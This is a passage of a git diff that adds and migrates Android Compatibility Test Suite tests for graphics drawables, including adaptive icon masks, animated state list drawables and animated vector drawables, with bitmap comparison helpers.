+        iconDrawable = new AdaptiveIconDrawable(new StateListDrawable(), new ColorDrawable(Color.RED));
+        assertTrue(iconDrawable.isStateful());
+    }
+
+
+    @Test
+    public void testGetConstantState() {
+        AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+            new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+        ConstantState constantState = iconDrawable.getConstantState();
+        assertNotNull(constantState);
+    }
+
+    @Test
+    public void testMutate() {
+        // Obtain the first instance, then mutate and modify a property held by
+        // constant state. If mutate() works correctly, the property should not
+        // be modified on the second or third instances.
+        Resources res = InstrumentationRegistry.getTargetContext().getResources();
+        AdaptiveIconDrawable first = (AdaptiveIconDrawable) res.getDrawable(R.drawable.adaptive_icon_drawable, null);
+        AdaptiveIconDrawable pre = (AdaptiveIconDrawable) res.getDrawable(R.drawable.adaptive_icon_drawable, null);
+
+        first.mutate().setBounds(0, 0, 100, 100);
+
+        assertEquals("Modified first loaded instance", 100, first.getBounds().width());
+        assertEquals("Did not modify pre-mutate() instance", 0, pre.getBounds().width());
+
+        AdaptiveIconDrawable post = (AdaptiveIconDrawable) res.getDrawable(R.drawable.adaptive_icon_drawable, null);
+
+        assertEquals("Did not modify post-mutate() instance", 0, post.getBounds().width());
+    }
+
+    @Test
+    public void testGetForegroundBackground() {
+        Context context = InstrumentationRegistry.getTargetContext();
+        AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+            new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+        Drawable fgDrawable = iconDrawable.getForeground();
+        Drawable bgDrawable = iconDrawable.getBackground();
+        assertTrue("Foreground layer is color drawable.", fgDrawable instanceof ColorDrawable);
+        assertTrue("Backgroud layer is color drawable.", bgDrawable instanceof ColorDrawable);
+
+        AdaptiveIconDrawable iconDrawableInflated =
+            (AdaptiveIconDrawable) context.getDrawable(R.drawable.adaptive_icon_drawable);
+        fgDrawable = iconDrawableInflated.getForeground();
+        bgDrawable = iconDrawableInflated.getBackground();
+        assertTrue("Foreground layer is color drawable.", fgDrawable instanceof BitmapDrawable);
+        assertTrue("Backgroud layer is color drawable.", bgDrawable instanceof BitmapDrawable);
+    }
+
+    @Test
+    public void testGetIntrinsicWidth() {
+        Context context = InstrumentationRegistry.getTargetContext();
+        AdaptiveIconDrawable iconDrawableInflated =
+            (AdaptiveIconDrawable) context.getDrawable(R.drawable.adaptive_icon_drawable);
+        int fgWidth = iconDrawableInflated.getForeground().getIntrinsicWidth();
+        int bgWidth = iconDrawableInflated.getBackground().getIntrinsicWidth();
+        float iconIntrinsicWidth = Math.max(fgWidth, bgWidth) / (1 + 2 * AdaptiveIconDrawable.getExtraInsetFraction());
+        assertEquals("Max intrinsic width of the layers should be icon's intrinsic width",
+            (int) iconIntrinsicWidth, iconDrawableInflated.getIntrinsicWidth());
+    }
+
+    @Test
+    public void testGetIntrinsicHeight() {
+        Context context = InstrumentationRegistry.getTargetContext();
+        AdaptiveIconDrawable iconDrawableInflated =
+            (AdaptiveIconDrawable) context.getDrawable(R.drawable.adaptive_icon_drawable);
+        int fgWidth = iconDrawableInflated.getForeground().getIntrinsicHeight();
+        int bgWidth = iconDrawableInflated.getBackground().getIntrinsicHeight();
+        float iconIntrinsicHeight = Math.max(fgWidth, bgWidth) / (1 + 2 * AdaptiveIconDrawable.getExtraInsetFraction());
+        assertEquals("Max intrinsic height of the layers should be icon's intrinsic height",
+            (int) iconIntrinsicHeight, iconDrawableInflated.getIntrinsicHeight());
+    }
+
+    //
+    // Utils
+    //
+
+    boolean equalBitmaps(Bitmap a, Bitmap b) {
+      return equalBitmaps(a, b, null);
+    }
+
+    boolean equalBitmaps(Bitmap a, Bitmap b, Region region) {
+        if (a.getWidth() != b.getWidth() || a.getHeight() != b.getHeight()) return false;
+
+        final int w = a.getWidth();
+        final int h = a.getHeight();
+        int[] aPix = new int[w * h];
+        int[] bPix = new int[w * h];
+
+        if (region != null) {
+            for (int i = 0; i < w; i++) {
+                for (int j = 0; j < h; j++) {
+                    int ra = (a.getPixel(i, j) >> 16) & 0xff;
+                    int ga = (a.getPixel(i, j) >> 8) & 0xff;
+                    int ba = a.getPixel(i, j) & 0xff;
+                    int rb = (b.getPixel(i, j) >> 16) & 0xff;
+                    int gb = (b.getPixel(i, j) >> 8) & 0xff;
+                    int bb = b.getPixel(i, j) & 0xff;
+                    if (region.contains(i, j) && a.getPixel(i, j) != b.getPixel(i, j) ) {
+                        return false;
+                    }
+                }
+            }
+            return true;
+        } else {
+            a.getPixels(aPix, 0, w, 0, 0, w, h);
+            b.getPixels(bPix, 0, w, 0, 0, w, h);
+            return Arrays.equals(aPix, bPix);
+        }
+    }
+
+    void findBitmapDifferences(Bitmap a, Bitmap b) {
+        if (a.getWidth() != b.getWidth() || a.getHeight() != b.getHeight()) {
+            L("different sizes: %dx%d vs %dx%d",
+                a.getWidth(), a.getHeight(), b.getWidth(), b.getHeight());
+            return;
+        }
+
+        final int w = a.getWidth();
+        final int h = a.getHeight();
+        int[] aPix = new int[w * h];
+        int[] bPix = new int[w * h];
+
+        a.getPixels(aPix, 0, w, 0, 0, w, h);
+        b.getPixels(bPix, 0, w, 0, 0, w, h);
+
+        L("bitmap a (%dx%d)", w, h);
+        printBits(aPix, w, h);
+        L("bitmap b (%dx%d)", w, h);
+        printBits(bPix, w, h);
+
+        StringBuffer sb = new StringBuffer("Different pixels: ");
+        for (int i=0; i<w; i++) {
+            for (int j=0; j<h; j++) {
+                if (aPix[i+w*j] != bPix[i+w*j]) {
+                    sb.append(" ").append(i).append(",").append(j).append("<")
+                        .append(aPix[i+w*j]).append(",").append(bPix[i+w*j]).append(">");
+                }
+            }
+        }
+        L(sb.toString());
+    }
+
+    static void printBits(int[] a, int w, int h) {
+        final StringBuilder sb = new StringBuilder();
+        for (int i=0; i<w; i++) {
+            for (int j=0; j<h; j++) {
+                sb.append(colorToChar(a[i+w*j]));
+            }
+            sb.append('\n');
+        }
+        L(sb.toString());
+    }
+
+    static char colorToChar(int color) {
+        int sum = ((color >> 16) & 0xff)
+            + ((color >> 8)  & 0xff)
+            + ((color)       & 0xff);
+        return GRADIENT[sum * (GRADIENT.length-1) / (3*0xff)];
+    }
+    static final char[] GRADIENT = " .:;+=xX$#".toCharArray();
+}
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconMaskTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconMaskTest.java
new file mode 100644
index 0000000..99d1327
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconMaskTest.java
@@ -0,0 +1,153 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.drawable.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.res.Resources;
+import android.graphics.Color;
+import android.graphics.Path;
+import android.graphics.Path.Direction;
+import android.graphics.RectF;
+import android.graphics.Region;
+import android.graphics.Region.Op;
+import android.graphics.drawable.AdaptiveIconDrawable;
+import android.graphics.drawable.ColorDrawable;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AdaptiveIconMaskTest {
+
+    public static final String TAG = AdaptiveIconMaskTest.class.getSimpleName();
+    public static void L(String s, Object... parts) {
+        Log.d(TAG, (parts.length == 0) ? s : String.format(s, parts));
+    }
+    private static final double SAFEZONE_INSET = .1;
+    private static final double DELTA = .01f;
+    private Path mMask = new Path();
+    private Path mSafeZone = new Path();
+    private ColorDrawable mBlueDrawable;
+    private ColorDrawable mRedDrawable;
+    private AdaptiveIconDrawable mDrawable;
+    private static final float sMaskSize = AdaptiveIconDrawable.MASK_SIZE;
+    private boolean mUseRoundIcon;
+
+    @Before
+    public void setup() {
+        mBlueDrawable = new ColorDrawable(Color.BLUE);
+        mRedDrawable = new ColorDrawable(Color.RED);
+        mDrawable = new AdaptiveIconDrawable( mBlueDrawable, mRedDrawable);
+
+        mMask = mDrawable.getIconMask();
+
+        int sInset = (int) (SAFEZONE_INSET * AdaptiveIconDrawable.MASK_SIZE);
+        mSafeZone.addCircle(AdaptiveIconDrawable.MASK_SIZE/2, AdaptiveIconDrawable.MASK_SIZE/2,
+            AdaptiveIconDrawable.MASK_SIZE/2/2 - sInset, Direction.CW);
+        mUseRoundIcon =  Resources.getSystem().getBoolean(
+            InstrumentationRegistry.getTargetContext().getResources().getIdentifier(
+                "config_useRoundIcon", "bool", "android"));
+        L("config_useRoundIcon:" + mUseRoundIcon);
+    }
+
+    @Test
+    public void testDeviceConfigMask_bounds() {
+        assertNotNull(mMask);
+
+        // Bounds should be [100 x 100]
+        RectF bounds = new RectF();
+        mMask.computeBounds(bounds, true);
+        assertTrue("Mask top should be larger than or equal to 0", -DELTA <= bounds.top);
+        assertTrue("Mask left should be larger than or equal to 0", -DELTA <= bounds.left);
+        assertTrue("Mask bottom should be smaller than or equal to" +
+                AdaptiveIconDrawable.MASK_SIZE,
+            AdaptiveIconDrawable.MASK_SIZE + DELTA >= bounds.bottom);
+        assertTrue("Mask right should be smaller than or equal to " +
+                AdaptiveIconDrawable.MASK_SIZE,
+            AdaptiveIconDrawable.MASK_SIZE + DELTA >= bounds.right);
+    }
+
+    @Test
+    public void testDeviceConfigMask_largerThanSafezone() {
+        assertNotNull(mMask);
+
+        // MASK intersection SafeZone = SafeZone
+        Region maskRegion = new Region(0, 0, (int) AdaptiveIconDrawable.MASK_SIZE,
+            (int) AdaptiveIconDrawable.MASK_SIZE);
+        maskRegion.setPath(mMask, maskRegion);
+
+        Region safeZoneRegion = new Region(0, 0, (int) AdaptiveIconDrawable.MASK_SIZE,
+            (int) AdaptiveIconDrawable.MASK_SIZE);
+        safeZoneRegion.setPath(mSafeZone, safeZoneRegion);
+
+        Region intersectRegion = new Region();
+        boolean result = maskRegion.op(safeZoneRegion, intersectRegion, Region.Op.INTERSECT);
+
+        // resultRegion should be exactly same as the safezone
+        // Test if intersectRegion is smaller than safeZone, in which case test will fail.
+        Region subtractRegion = new Region();
+        result = safeZoneRegion.op(intersectRegion, subtractRegion, Op.DIFFERENCE);
+        assertFalse("Mask is not respecting the safezone.", result);
+    }
+
+    @Test
+    public void testDeviceConfigMask_isConvex() {
+        assertNotNull(mMask);
+        assertTrue("Mask is not convex", mMask.isConvex());
+    }
+
+    @Test
+    public void testGetLayers() {
+        assertEquals("Background layer is not the same.",
+            mBlueDrawable, mDrawable.getBackground());
+        assertEquals("Foreground layer is not the same.",
+            mRedDrawable, mDrawable.getForeground());
+    }
+
+    @Test
+    public void testDeviceConfig_iconMask_useRoundIcon() {
+        assertNotNull(mMask);
+
+        boolean circleMask = isCircle(mMask);
+        // If mask shape is circle, then mUseRoundIcon should be defined and should be true.
+        // If mask shape is not a circle
+        //           mUseRoundIcon doesn't have to be defined.
+        //           if mUseRoundIcon is defined, then should be false
+        assertEquals(mUseRoundIcon, circleMask);
+    }
+
+    private boolean isCircle(Path maskPath) {
+        Path circle101 = new Path();
+        circle101.addCircle(50, 50, 50.5f, Direction.CCW);
+        Path circle99 = new Path();
+        circle99.addCircle(50, 50, 49.5f, Direction.CCW);
+        circle99.op(maskPath, Path.Op.DIFFERENCE);
+        boolean fullyEnclosesSmallerCircle = circle99.isEmpty();
+        maskPath.op(circle101, Path.Op.DIFFERENCE);
+        boolean fullyEnclosedByLargerCircle = maskPath.isEmpty();
+        return fullyEnclosedByLargerCircle && fullyEnclosesSmallerCircle;
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/Animatable2_AnimationCallbackTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/Animatable2_AnimationCallbackTest.java
new file mode 100644
index 0000000..0266e34
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/Animatable2_AnimationCallbackTest.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.drawable.cts;
+
+import android.graphics.drawable.Animatable2.AnimationCallback;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class Animatable2_AnimationCallbackTest {
+    @Test
+    public void testCallback() {
+        // These are no-op methods. Just make sure they don't crash.
+        AnimationCallback callback = new AnimationCallback() {};
+        callback.onAnimationStart(null);
+        callback.onAnimationEnd(null);
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedStateListDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedStateListDrawableTest.java
index 12f9828..2e986cb 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedStateListDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedStateListDrawableTest.java
@@ -16,10 +16,15 @@
 
 package android.graphics.drawable.cts;
 
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Mockito.mock;
 
-import android.R.attr;
 import android.content.Context;
 import android.content.res.Resources;
 import android.content.res.XmlResourceParser;
@@ -32,31 +37,38 @@
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.DrawableContainer.DrawableContainerState;
 import android.graphics.drawable.StateListDrawable;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.StateSet;
 import android.util.Xml;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+
 import java.io.IOException;
 import java.util.Arrays;
 import java.util.HashSet;
 
-import static org.mockito.Mockito.mock;
-
-public class AnimatedStateListDrawableTest extends InstrumentationTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AnimatedStateListDrawableTest {
     private static final int[] STATE_EMPTY = new int[] { };
-    private static final int[] STATE_FOCUSED = new int[] { attr.state_focused };
+    private static final int[] STATE_FOCUSED = new int[] { android.R.attr.state_focused };
 
     private Context mContext;
     private Resources mResources;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mContext = getInstrumentation().getTargetContext();
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
         mResources = mContext.getResources();
     }
 
+    @Test
     public void testStateListDrawable() {
         new AnimatedStateListDrawable();
 
@@ -64,6 +76,7 @@
         assertNotNull(new AnimatedStateListDrawable().getConstantState());
     }
 
+    @Test
     public void testAddState() {
         AnimatedStateListDrawable asld = new AnimatedStateListDrawable();
         DrawableContainerState cs = (DrawableContainerState) asld.getConstantState();
@@ -85,6 +98,7 @@
         assertEquals(2, cs.getChildCount());
     }
 
+    @Test
     public void testAddTransition() {
         AnimatedStateListDrawable asld = new AnimatedStateListDrawable();
         DrawableContainerState cs = (DrawableContainerState) asld.getConstantState();
@@ -114,10 +128,12 @@
         assertEquals(5, cs.getChildCount());
     }
 
+    @Test
     public void testIsStateful() {
         assertTrue(new AnimatedStateListDrawable().isStateful());
     }
 
+    @Test
     public void testOnStateChange() {
         AnimatedStateListDrawable asld = new AnimatedStateListDrawable();
 
@@ -141,11 +157,13 @@
         assertSame(unfocusedToFocused, asld.getCurrent());
     }
 
+    @Test
     public void testPreloadDensity() throws XmlPullParserException, IOException {
         runPreloadDensityTestForDrawable(
                 R.drawable.animated_state_list_density, false);
     }
 
+    @Test
     public void testPreloadDensityConstantSize() throws XmlPullParserException, IOException {
         runPreloadDensityTestForDrawable(
                 R.drawable.animated_state_list_density_constant_size, true);
@@ -186,9 +204,11 @@
         DrawableTestUtils.setResourcesDensity(res, densityDpi / 2);
         final StateListDrawable halfDrawable =
                 (StateListDrawable) cs.newDrawable(res);
+        // NOTE: densityDpi may not be an even number, so account for *actual* scaling in asserts
+        final float approxHalf = (float)(densityDpi / 2) / densityDpi;
         for (int i = 0; i < count; i++) {
             halfDrawable.selectDrawable(i);
-            assertEquals(Math.round(origWidth[i] / 2f), halfDrawable.getIntrinsicWidth());
+            assertEquals(Math.round(origWidth[i] * approxHalf), halfDrawable.getIntrinsicWidth());
         }
 
         // Set density to double original.
@@ -212,8 +232,7 @@
 
     private XmlResourceParser getResourceParser(int resId) throws XmlPullParserException,
             IOException {
-        XmlResourceParser parser = getInstrumentation().getTargetContext().getResources().getXml(
-                resId);
+        XmlResourceParser parser = mResources.getXml(resId);
         int type;
         while ((type = parser.next()) != XmlPullParser.START_TAG
                 && type != XmlPullParser.END_DOCUMENT) {
@@ -222,6 +241,7 @@
         return parser;
     }
 
+    @Test
     public void testInflate() throws XmlPullParserException, IOException {
         AnimatedStateListDrawable asld = (AnimatedStateListDrawable) mContext.getDrawable(
                 R.drawable.animated_state_list_density);
@@ -232,6 +252,16 @@
         assertEquals(4, asldState.getChildCount());
     }
 
+    @Test
+    public void testParsingTransitionDefinedWithAVD() {
+        AnimatedStateListDrawable asld = (AnimatedStateListDrawable) mContext.getDrawable(
+                R.drawable.animated_state_list_with_avd);
+        DrawableContainerState asldState = (DrawableContainerState) asld.getConstantState();
+        // Ensure that everything defined in xml after the definition of a transition with AVD is
+        // parsed by checking the total drawables parsed.
+        assertEquals(6, asldState.getChildCount());
+    }
+
     public abstract class MockTransition extends MockDrawable implements Animatable, Animatable2 {
         private HashSet<AnimationCallback> mCallbacks = new HashSet<>();
 
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java
new file mode 100644
index 0000000..4a05b85
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java
@@ -0,0 +1,353 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.drawable.cts;
+
+import static junit.framework.TestCase.assertTrue;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
+import android.content.res.Resources;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.Rect;
+import android.graphics.cts.R;
+import android.graphics.drawable.AnimatedVectorDrawable;
+import android.support.annotation.Nullable;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.util.Log;
+import android.view.PixelCopy;
+import android.view.View;
+import android.widget.ImageView;
+
+import com.android.compatibility.common.util.SynchronousPixelCopy;
+import com.android.compatibility.common.util.SystemUtil;
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.AfterClass;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@LargeTest
+@RunWith(Parameterized.class)
+public class AnimatedVectorDrawableParameterizedTest {
+    @Rule
+    public ActivityTestRule<DrawableStubActivity> mActivityRule =
+            new ActivityTestRule<>(DrawableStubActivity.class);
+
+    private static final int IMAGE_WIDTH = 64;
+    private static final int IMAGE_HEIGHT = 64;
+    private static final long MAX_TIMEOUT_MS = 1000;
+
+    private static float sTransitionScaleBefore = Float.NaN;
+
+    private Activity mActivity = null;
+    private Resources mResources = null;
+    private final int mLayerType;
+
+    @Parameterized.Parameters
+    public static Object[] data() {
+        return new Object[] {
+                View.LAYER_TYPE_HARDWARE,
+                View.LAYER_TYPE_NONE,
+                View.LAYER_TYPE_SOFTWARE
+        };
+    }
+
+    @BeforeClass
+    public static void setUpClass() throws Exception {
+        try {
+            sTransitionScaleBefore = Float.parseFloat(SystemUtil.runShellCommand(
+                    InstrumentationRegistry.getInstrumentation(),
+                    "settings get global transition_animation_scale"));
+
+            SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+                    "settings put global transition_animation_scale 0");
+        } catch (NumberFormatException e) {
+            Log.e("AnimatedVectorDrawableTest", "Could not read transition_animation_scale", e);
+            sTransitionScaleBefore = Float.NaN;
+        }
+    }
+
+    @AfterClass
+    public static void tearDownClass() throws Exception {
+        if (sTransitionScaleBefore != Float.NaN) {
+            SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+                    "settings put global transition_animation_scale " +
+                            sTransitionScaleBefore);
+        }
+    }
+
+    public AnimatedVectorDrawableParameterizedTest(final int layerType) throws Throwable {
+        mLayerType = layerType;
+    }
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+        mResources = mActivity.getResources();
+    }
+
+    @Test
+    public void testAnimationOnLayer() throws Throwable {
+        final AnimatedVectorDrawableTest.MyCallback callback
+                = new AnimatedVectorDrawableTest.MyCallback();
+        // Can't simply use final here, b/c it needs to be initialized and referred later in UI
+        // thread.
+        final ImageView[] imageView = new ImageView[1];
+        mActivityRule.runOnUiThread(() -> {
+            mActivity.setContentView(R.layout.fixed_sized_imageview);
+            imageView[0] = (ImageView) mActivity.findViewById(R.id.imageview);
+        });
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, imageView[0],
+                (Runnable) () -> {
+                    imageView[0].setImageDrawable(
+                            mResources.getDrawable(R.drawable.animated_vector_favorite));
+                    imageView[0].setLayerType(mLayerType, null);
+                    AnimatedVectorDrawable avd =
+                            (AnimatedVectorDrawable) imageView[0].getDrawable();
+                    avd.registerAnimationCallback(callback);
+                    avd.start();
+                });
+        callback.waitForStart();
+        waitWhilePumpingFrames(5, imageView[0], 200);
+
+        Bitmap lastScreenShot = null;
+        final Rect srcRect = new Rect();
+        mActivityRule.runOnUiThread(() -> {
+            imageView[0].getGlobalVisibleRect(srcRect);
+        });
+
+        int counter = 0;
+        while (!callback.endIsCalled()) {
+            // Take a screen shot every 50ms, and compare with previous screenshot for the ImageView
+            // content, to make sure the AVD is animating when set on HW layer.
+            Bitmap screenShot = takeScreenshot(srcRect);
+            if (callback.endIsCalled()) {
+                // Animation already ended, the screenshot may not contain valid animation content,
+                // skip the comparison.
+                break;
+            }
+            counter++;
+            boolean isIdentical = isAlmostIdenticalInRect(screenShot, lastScreenShot);
+            if (isIdentical) {
+                String outputFolder = mActivity.getExternalFilesDir(null).getAbsolutePath();
+                DrawableTestUtils.saveVectorDrawableIntoPNG(screenShot, outputFolder,
+                        "screenshot_" + counter);
+                DrawableTestUtils.saveVectorDrawableIntoPNG(lastScreenShot, outputFolder,
+                        "screenshot_" + (counter - 1));
+                fail("Two consecutive screenshots of AVD are identical, AVD is "
+                        + "likely not animating");
+            }
+            lastScreenShot = screenShot;
+
+            // Wait 50ms before the next screen shot. If animation ended during the wait, exit the
+            // loop.
+            if (callback.waitForEnd(50)) {
+                break;
+            }
+        }
+        // In this test, we want to make sure that we at least have 5 screenshots.
+        assertTrue(counter >= 5);
+
+        mActivityRule.runOnUiThread(() -> {
+            AnimatedVectorDrawable avd = (AnimatedVectorDrawable) imageView[0].getDrawable();
+            avd.stop();
+        });
+    }
+
+    // Pump frames by repeatedly invalidating the given view. Return true if successfully pumped
+    // the given number of frames before timeout, false otherwise.
+    private boolean waitWhilePumpingFrames(int frameCount, final View view, long timeout)
+            throws Throwable {
+        final CountDownLatch frameLatch = new CountDownLatch(frameCount);
+        mActivityRule.runOnUiThread(() -> {
+            view.getViewTreeObserver().addOnPreDrawListener(() -> {
+                if (frameLatch.getCount() > 0) {
+                    frameLatch.countDown();
+                    view.postInvalidate();
+                }
+                return true;
+            });
+        });
+        return frameLatch.await(timeout, TimeUnit.MILLISECONDS);
+    }
+
+    @SmallTest
+    @Test
+    public void testSingleFrameAnimation() throws Throwable {
+        int resId = R.drawable.avd_single_frame;
+        final AnimatedVectorDrawable d1 =
+                (AnimatedVectorDrawable) mResources.getDrawable(resId);
+        // The AVD has a duration as 16ms.
+        mActivityRule.runOnUiThread(() -> {
+            Bitmap bitmap =
+                    Bitmap.createBitmap(IMAGE_WIDTH, IMAGE_HEIGHT, Bitmap.Config.ARGB_8888);
+            Canvas canvas = new Canvas(bitmap);
+
+            mActivity.setContentView(R.layout.animated_vector_drawable_source);
+            ImageView imageView = (ImageView) mActivity.findViewById(R.id.avd_view);
+            imageView.setLayerType(mLayerType, null);
+            imageView.setImageDrawable(d1);
+            d1.start();
+            d1.stop();
+            d1.setBounds(0, 0, IMAGE_WIDTH, IMAGE_HEIGHT);
+            bitmap.eraseColor(0);
+            d1.draw(canvas);
+            int endColor = bitmap.getPixel(IMAGE_WIDTH / 2, IMAGE_HEIGHT / 2);
+            assertEquals("Center point's color must be green", 0xFF00FF00, endColor);
+        });
+    }
+
+    @MediumTest
+    @Test
+    public void testEmptyAnimatorSet() throws Throwable {
+        int resId = R.drawable.avd_empty_animator;
+        final AnimatedVectorDrawableTest.MyCallback callback =
+                new AnimatedVectorDrawableTest.MyCallback();
+        final AnimatedVectorDrawable d1 =
+                (AnimatedVectorDrawable) mResources.getDrawable(resId);
+        d1.registerAnimationCallback(callback);
+        mActivityRule.runOnUiThread(() -> {
+            mActivity.setContentView(R.layout.animated_vector_drawable_source);
+            ImageView imageView = (ImageView) mActivity.findViewById(R.id.avd_view);
+            imageView.setLayerType(mLayerType, null);
+            imageView.setImageDrawable(d1);
+            d1.registerAnimationCallback(callback);
+            d1.start();
+        });
+        Assert.assertTrue(callback.waitForStart());
+        AnimatedVectorDrawableTest.waitForAVDStop(callback, MAX_TIMEOUT_MS);
+        // Check that the AVD with empty AnimatorSet has finished
+        callback.assertEnded(true);
+        callback.assertAVDRuntime(0, TimeUnit.MILLISECONDS.toNanos(64)); // 4 frames
+    }
+
+    // Does a fuzzy comparison between two images.
+    private static boolean isAlmostIdenticalInRect(Bitmap image1, Bitmap image2) {
+        if (image1 == null || image2 == null) {
+            return false;
+        }
+
+        if (image1.getWidth() != image2.getWidth() || image1.getHeight() != image2.getHeight()) {
+            throw new IllegalArgumentException("Images size are not the same. image1:" + image1
+                    + "image2:" + image2);
+        }
+
+        Rect rangeRect = new Rect(0, 0, image1.getWidth(), image1.getHeight());
+
+        for (int x = rangeRect.left; x < rangeRect.right; x++) {
+            for (int y = rangeRect.top; y < rangeRect.bottom; y++) {
+                if (image1.getPixel(x, y) != image2.getPixel(x, y)) {
+                    return false;
+                }
+                int color1 = image1.getPixel(x, y);
+                int color2 = image2.getPixel(x, y);
+                int rDiff = Math.abs(Color.red(color1) - Color.red(color2));
+                int gDiff = Math.abs(Color.green(color1) - Color.green(color2));
+                int bDiff = Math.abs(Color.blue(color1) - Color.blue(color2));
+                if (rDiff + gDiff + bDiff > 8) {
+                    return false;
+                }
+            }
+        }
+        return true;
+    }
+
+    @Test
+    public void testInfiniteAVD() throws Throwable {
+        final AnimatedVectorDrawableTest.MyCallback callback
+                = new AnimatedVectorDrawableTest.MyCallback();
+        // Can't simply use final here, b/c it needs to be initialized and referred later in UI
+        // thread.
+        final ImageView[] imageView = new ImageView[1];
+        mActivityRule.runOnUiThread(() -> {
+            mActivity.setContentView(R.layout.fixed_sized_imageview);
+            imageView[0] = (ImageView) mActivity.findViewById(R.id.imageview);
+        });
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, imageView[0],
+                (Runnable) () -> {
+                    imageView[0].setImageDrawable(mResources.getDrawable(R.drawable.infinite_avd));
+                    imageView[0].setLayerType(mLayerType, null);
+                    AnimatedVectorDrawable avd = (AnimatedVectorDrawable) imageView[0].getDrawable();
+                    avd.registerAnimationCallback(callback);
+
+                    avd.start();
+                });
+
+        callback.waitForStart();
+        waitWhilePumpingFrames(5, imageView[0], 200);
+        Bitmap lastScreenShot = null;
+        final Rect srcRect = new Rect();
